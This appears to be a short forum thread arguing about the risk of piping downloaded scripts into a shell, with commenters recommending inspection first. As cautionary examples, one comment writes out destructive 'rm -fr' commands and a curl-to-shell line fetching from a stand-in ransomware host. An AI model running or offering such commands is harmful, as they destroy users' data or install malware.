|
|
|
|
|
by jlokier
2067 days ago
|
|
You answered the question yourself. The difference is between inspecting the executed command, and blindly executing something where you have no idea what it's going to do. For example, maybe the URL contents is "rm --no-preserve-root -fr /". Or "rm -fr /home/*/Pictures 2>/dev/null". Or "curl https://ransomeware-encryptor.example.com | sh". No problem if you inspect it first. Lots of unhappiness and heartbreak if you don't. |
|
How about if instead we exercise critical thinking and make our own assessment of the risk and act accordingly? Why would you choose not to pipe a shell script from a site you don’t trust but execute their installer instead?
If you don’t want to pipe it, download it and read it first.